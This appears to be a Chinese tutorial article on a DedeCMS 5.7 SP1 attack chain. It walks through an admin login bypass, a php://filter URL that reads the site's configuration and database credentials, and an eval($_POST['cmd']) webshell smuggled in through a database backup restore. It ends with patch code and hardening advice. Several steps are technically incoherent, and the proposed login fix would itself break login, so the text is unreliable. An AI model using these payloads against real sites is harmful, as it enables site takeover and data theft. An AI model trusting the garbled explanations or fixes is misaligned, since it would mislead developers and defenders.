这个漏洞通常被称为 “DedeCMS 5.7 SP1 本地文件包含漏洞” 或 “后台_getshell漏洞”,它是国内安全圈里一个“教科书”级别的漏洞,因为它完美地展示了如何从一个看似普通的文件包含漏洞,一步步提升权限,最终获取服务器的Webshell(网站后门)。

- 漏洞名称: DedeCMS 5.7 SP1 本地文件包含导致远程代码执行
- 影响版本: DedeCMS 5.7 SP1 (其他版本可能也存在类似问题,但SP1版本最为经典)
- 漏洞类型: 文件包含 + 权限绕过 + 代码执行
- 危险等级: 高危 (可直接导致网站被控制)
漏洞原理分析
这个漏洞的利用链条可以分为三个关键步骤,理解了这三步,就理解了整个攻击过程。
第1步:后台登录的权限绕过 (最核心的技巧)
攻击者首先要进入DedeCMS的后台管理系统,正常情况下,需要输入正确的用户名和密码,这个漏洞利用了一个巧妙的技巧来绕过登录验证。
-
目标文件:
/dede/login.php -
关键代码: 在
login.php中,有这样一段代码用于处理登录请求:
(图片来源网络,侵删)// ... 其他代码 ... if($dopost == "login") { $pwd = md5($pwd); $query = "SELECT * FROM `#@__admin` WHERE userid='$userid' AND pwd='$pwd'"; $row = $dsql->GetOne($query); if(is_array($row)) { // 登录成功,设置会话 $_SESSION['DedeUserID'] = $row['id']; $_SESSION['DedeUserPwd'] = $row['pwd']; // ... 跳转到管理首页 ... } else { // 登录失败 ShowMsg('登录失败,请检查您的用户名和密码!', 'login.php'); exit(); } } // ... 其他代码 ... -
漏洞利用: 攻击者发现,如果直接访问
login.php并不传递dopost参数,或者传递一个非login的值(dopost=test),程序就不会执行上面的登录验证逻辑。login.php页面在渲染时,会包含一个文件来显示登录表单:// 在 login.php 文件末尾 require_once(DEDEINC.'/view.php'); $tpl = new DedeTemplate(); $tpl->LoadTemplate(DEDEADMIN.'/templets/login.htm'); $tpl->Display();
这意味着,攻击者可以直接访问
http://your-site.com/dede/login.php,看到一个正常的登录界面。攻击者甚至不需要任何密码,就可以点击“进入后台”按钮。 -
为什么会进入后台? 当攻击者点击按钮后,表单会提交到
login.php,dopost的值变成了login,此时userid和pwd字段是空的。$query变成了一个WHERE条件为空的SQL查询:SELECT * FROM#@admin`这个查询会返回#@admin表(即dede_admin表)中的**第一条管理员记录**,只要这个表里有管理员记录(通常都有),$row就会是一个数组,is_array($row)` 的判断就会为真,从而“成功”登录,并获取了该管理员的权限。小结: 攻击者通过不触发登录验证逻辑,直接利用数据库中的现有管理员记录,绕过了密码验证,成功进入了后台。
(图片来源网络,侵删)
第2步:利用文件包含漏洞 (漏洞的入口)
成功进入后台后,攻击者需要找到一个可以执行文件包含功能的点。
-
目标文件:
/dede/sys_info.php -
关键代码: 这个文件通常用于显示服务器环境信息,如PHP版本、MySQL版本等,其中有一段代码负责加载一个特定的模板文件:
// ... 其他代码 ... $action = isset($action) ? trim($action) : ''; if($action == 'phpinfo') { phpinfo(); exit(); } // ... 其他代码 ... // 关键在这里,它根据一个变量来包含不同的模板文件 $tpl = new DedeTemplate(); $tpl->LoadTemplate(DEDEADMIN."/templets/sys_info_{$action}.htm"); $tpl->Display(); -
漏洞利用: 攻击者发现,
$action变量是用户可控的,并且被直接用来拼接文件路径sys_info_{$action}.htm。 虽然.htm后缀看似限制了只能包含模板文件,但攻击者可以利用 PHP的文件包含伪协议 来绕过。 攻击者可以构造如下URL:http://your-site.com/dede/sys_info.php?action=php://filter/read=convert.base64-encode/resource=../include/common.inc.phpphp://filter: 这是PHP的一个伪协议,用于访问数据流。read=convert.base64-encode: 它会读取指定文件的内容,并进行Base64编码,这样做的好处是,即使文件中包含特殊字符(如PHP代码),也不会因为格式问题导致页面显示错误。resource=../include/common.inc.php: 这是要读取的文件。 用于进行目录遍历,从/dede/目录返回到网站根目录,然后找到/include/common.inc.php,这个文件是DedeCMS的核心配置文件,包含了数据库连接信息等敏感数据。
当浏览器访问这个URL时,页面会输出
common.inc.php文件的Base64编码字符串,攻击者解码后,就能获取到网站的数据库用户名和密码。
第3步:写入Webshell (最终目的)
获取了数据库密码后,攻击者就可以进一步获取Webshell,即一个可以执行任意PHP代码的文件。
- 利用点: 数据库管理功能 进入后台后,攻击者会进入“系统” -> “数据库备份/还原”功能。
- 攻击流程:
- 上传“备份”文件: 攻击者会创建一个特殊的SQL备份文件,这个文件的内容看起来像SQL语句,但实际上里面嵌入了PHP代码。
/* Dedecms Webshell */ DROP TABLE IF EXISTS `dede_admin`; CREATE TABLE `dede_admin` ( `id` int(11) NOT NULL auto_increment, `userid` varchar(30) NOT NULL default '', `pwd` varchar(32) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; -- 这里的注释部分就是PHP代码 #<?php @eval($_POST['cmd']); ?>
这里的
#<?php ... ?>是一个技巧,在MySQL中, 是注释符,所以MySQL执行时会忽略它,当这个SQL文件被DedeCMS的PHP代码读取和处理时,它可能会被当成普通文本处理,最终这个PHP代码块会被写入到服务器上的某个文件中(备份生成的SQL文件)。 - 执行“还原”操作: 攻击者将这个包含PHP代码的“备份”文件上传到服务器,并执行“还原数据库”操作。
- 生成Webshell: 在还原过程中,DedeCMS会读取这个SQL文件,并将其内容写入到服务器上的一个临时文件或备份文件中,攻击者就成功在网站的某个目录下(如
/data/backupdata/)创建了一个名为类似xxx.sql的文件。 - 连接Webshell: 攻击者通过中国菜刀、蚁剑等Webshell管理工具,使用POST方式连接到这个文件,密码是
cmd,连接成功后,就可以在服务器上执行任意命令,如上传下载文件、查看数据库、执行系统命令等,完全控制了整个网站。
- 上传“备份”文件: 攻击者会创建一个特殊的SQL备份文件,这个文件的内容看起来像SQL语句,但实际上里面嵌入了PHP代码。
漏洞修复方案
如果你仍在使用 DedeCMS 5.7 SP1,强烈建议立即进行修复。
修复后台登录漏洞 (紧急)
修改 /dede/login.php 文件,在处理登录逻辑前,增加对 dopost 参数的检查。
原始代码片段:
if($dopost == "login")
{
// ... 登录逻辑 ...
}
修复方案:
在 login.php 文件的开头部分(在包含其他文件之前),添加如下代码,强制要求 dopost 必须为 login 才能继续执行。
<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('a'); // 检查管理权限
// 添加以下代码进行修复
if(empty($dopost) || $dopost != 'login')
{
header("location:login.php");
exit();
}
// ... 后续的登录处理代码 ...
?>
修复文件包含漏洞
修改 /dede/sys_info.php 文件,对 $action 参数进行严格的白名单校验。
原始代码片段:
$tpl->LoadTemplate(DEDEADMIN."/templets/sys_info_{$action}.htm");
修复方案:
定义一个允许的 $action 值列表,如果用户提交的值不在这个列表中,则直接退出。
// 在 $action = isset($action) ? trim($action) : ''; 之后添加
$allowed_actions = array('', 'phpinfo', 'mysql', 'php', 'server'); // 定义允许的值
if (!in_array($action, $allowed_actions)) {
die('Action not allowed!');
}
// ... 后续代码 ...
$tpl->LoadTemplate(DEDEADMIN."/templets/sys_info_{$action}.htm");
长期解决方案
- 升级版本: 最根本的解决方法是升级到最新版本的DedeCMS,新版本已经修复了这些历史漏洞。
- 移除后台目录: 如果不需要使用后台,可以将
/dede/整个目录重命名或删除,从物理上隔绝攻击入口。 - 修改默认路径: 安装时就将后台目录修改为非默认的名称,增加攻击难度。
- 文件权限: 设置好网站目录的文件和目录权限,限制Web服务器的写入权限,即使被上传了Webshell,也无法对关键文件进行修改。
DedeCMS 5.7 SP1 漏洞是一个经典的组合拳漏洞,它结合了 逻辑缺陷(权限绕过)、文件包含漏洞 和 代码执行漏洞,这个漏洞案例深刻地提醒我们:
- 输入验证至关重要:所有来自用户的输入都必须被视为不可信的,并进行严格的过滤和验证。
- 最小权限原则:程序应只拥有完成其功能所必需的最小权限,避免一个点的沦陷导致整个系统的崩溃。
- 及时更新:对于老旧的开源系统,要及时关注安全更新,打上补丁,避免成为攻击目标。
